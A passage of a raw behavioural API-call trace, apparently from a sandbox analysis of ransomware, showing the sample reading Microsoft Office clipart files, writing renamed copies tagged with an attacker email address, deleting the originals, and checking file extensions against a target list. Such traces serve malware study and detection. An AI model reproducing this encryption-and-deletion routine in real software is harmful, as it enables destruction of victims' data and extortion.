lpNewFilePointer=0x0) returned 1 [0060.676] SetEndOfFile (hFile=0x204) returned 1 [0060.677] CloseHandle (hObject=0x204) returned 1 [0060.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.677] lstrlenW (lpString=".doc") returned 4 [0060.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString=".docx") returned 5 [0060.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.678] lstrlenW (lpString=".pdf") returned 4 [0060.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString=".xls") returned 4 [0060.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.678] lstrlenW (lpString=".xlsx") returned 5 [0060.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.678] lstrlenW (lpString=".ppt") returned 4 [0060.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.678] lstrlenW (lpString=".zip") returned 4 [0060.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.678] lstrlenW (lpString=".rar") returned 4 [0060.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString=".bz2") returned 4 [0060.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString=".7z") returned 3 [0060.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.678] lstrlenW (lpString=".dbf") returned 4 [0060.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.678] lstrlenW (lpString=".1cd") returned 4 [0060.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0060.678] lstrlenW (lpString=".jpg") returned 4 [0060.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.679] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=12788) returned 1 [0060.679] CloseHandle (hObject=0x204) returned 1 [0060.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0060.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.680] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.680] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.680] GetLastError () returned 0x0 [0060.680] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x31f4, lpOverlapped=0x0) returned 1 [0060.684] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3200, lpOverlapped=0x0) returned 1 [0060.685] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.685] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.685] SetEndOfFile (hFile=0x230) returned 1 [0060.685] CloseHandle (hObject=0x230) returned 1 [0060.685] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.685] SetEndOfFile (hFile=0x204) returned 1 [0060.686] CloseHandle (hObject=0x204) returned 1 [0060.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.687] lstrlenW (lpString=".doc") returned 4 [0060.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString=".docx") returned 5 [0060.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.687] lstrlenW (lpString=".pdf") returned 4 [0060.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString=".xls") returned 4 [0060.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.687] lstrlenW (lpString=".xlsx") returned 5 [0060.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.687] lstrlenW (lpString=".ppt") returned 4 [0060.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.687] lstrlenW (lpString=".zip") returned 4 [0060.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.687] lstrlenW (lpString=".rar") returned 4 [0060.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString=".bz2") returned 4 [0060.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString=".7z") returned 3 [0060.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.687] lstrlenW (lpString=".dbf") returned 4 [0060.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.687] lstrlenW (lpString=".1cd") returned 4 [0060.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0060.688] lstrlenW (lpString=".jpg") returned 4 [0060.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.688] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1588) returned 1 [0060.688] CloseHandle (hObject=0x204) returned 1 [0060.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0060.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.688] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.688] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.689] GetLastError () returned 0x0 [0060.689] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x634, lpOverlapped=0x0) returned 1 [0060.690] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x640, lpOverlapped=0x0) returned 1 [0060.691] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.691] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.691] SetEndOfFile (hFile=0x230) returned 1 [0060.691] CloseHandle (hObject=0x230) returned 1 [0060.691] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.691] SetEndOfFile (hFile=0x204) returned 1 [0060.692] CloseHandle (hObject=0x204) returned 1 [0060.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.692] lstrlenW (lpString=".doc") returned 4 [0060.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.692] lstrlenW (lpString=".docx") returned 5 [0060.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.692] lstrlenW (lpString=".pdf") returned 4 [0060.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.692] lstrlenW (lpString=".xls") returned 4 [0060.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.693] lstrlenW (lpString=".xlsx") returned 5 [0060.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.693] lstrlenW (lpString=".ppt") returned 4 [0060.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.693] lstrlenW (lpString=".zip") returned 4 [0060.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.693] lstrlenW (lpString=".rar") returned 4 [0060.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.693] lstrlenW (lpString=".bz2") returned 4 [0060.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.693] lstrlenW (lpString=".7z") returned 3 [0060.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.693] lstrlenW (lpString=".dbf") returned 4 [0060.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.693] lstrlenW (lpString=".1cd") returned 4 [0060.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0060.693] lstrlenW (lpString=".jpg") returned 4 [0060.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.693] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1212) returned 1 [0060.693] CloseHandle (hObject=0x204) returned 1 [0060.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0060.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.694] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.694] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.694] GetLastError () returned 0x0 [0060.694] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4bc, lpOverlapped=0x0) returned 1 [0060.886] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0060.887] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.887] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.888] SetEndOfFile (hFile=0x230) returned 1 [0060.888] CloseHandle (hObject=0x230) returned 1 [0060.888] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.888] SetEndOfFile (hFile=0x204) returned 1 [0060.889] CloseHandle (hObject=0x204) returned 1 [0060.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0061.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.180] lstrlenW (lpString=".doc") returned 4 [0061.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.180] lstrlenW (lpString=".docx") returned 5 [0061.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.180] lstrlenW (lpString=".pdf") returned 4 [0061.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.180] lstrlenW (lpString=".xls") returned 4 [0061.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.180] lstrlenW (lpString=".xlsx") returned 5 [0061.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.181] lstrlenW (lpString=".ppt") returned 4 [0061.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.181] lstrlenW (lpString=".zip") returned 4 [0061.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.181] lstrlenW (lpString=".rar") returned 4 [0061.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.181] lstrlenW (lpString=".bz2") returned 4 [0061.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.181] lstrlenW (lpString=".7z") returned 3 [0061.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.181] lstrlenW (lpString=".dbf") returned 4 [0061.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.181] lstrlenW (lpString=".1cd") returned 4 [0061.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0061.181] lstrlenW (lpString=".jpg") returned 4 [0061.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.370] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3494) returned 1 [0062.371] CloseHandle (hObject=0x1dc) returned 1 [0062.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0062.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.371] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.371] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.372] GetLastError () returned 0x0 [0062.372] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xda6, lpOverlapped=0x0) returned 1 [0062.374] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0062.374] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.375] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.375] SetEndOfFile (hFile=0x23c) returned 1 [0062.375] CloseHandle (hObject=0x23c) returned 1 [0062.375] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.375] SetEndOfFile (hFile=0x1dc) returned 1 [0062.376] CloseHandle (hObject=0x1dc) returned 1 [0062.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0062.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.376] lstrlenW (lpString=".doc") returned 4 [0062.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.376] lstrlenW (lpString=".docx") returned 5 [0062.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.376] lstrlenW (lpString=".pdf") returned 4 [0062.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.376] lstrlenW (lpString=".xls") returned 4 [0062.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.376] lstrlenW (lpString=".xlsx") returned 5 [0062.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.376] lstrlenW (lpString=".ppt") returned 4 [0062.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.376] lstrlenW (lpString=".zip") returned 4 [0062.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.376] lstrlenW (lpString=".rar") returned 4 [0062.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.377] lstrlenW (lpString=".bz2") returned 4 [0062.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.377] lstrlenW (lpString=".7z") returned 3 [0062.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.377] lstrlenW (lpString=".dbf") returned 4 [0062.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.377] lstrlenW (lpString=".1cd") returned 4 [0062.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0062.377] lstrlenW (lpString=".jpg") returned 4 [0062.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.377] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3948) returned 1 [0062.377] CloseHandle (hObject=0x1dc) returned 1 [0062.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0062.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 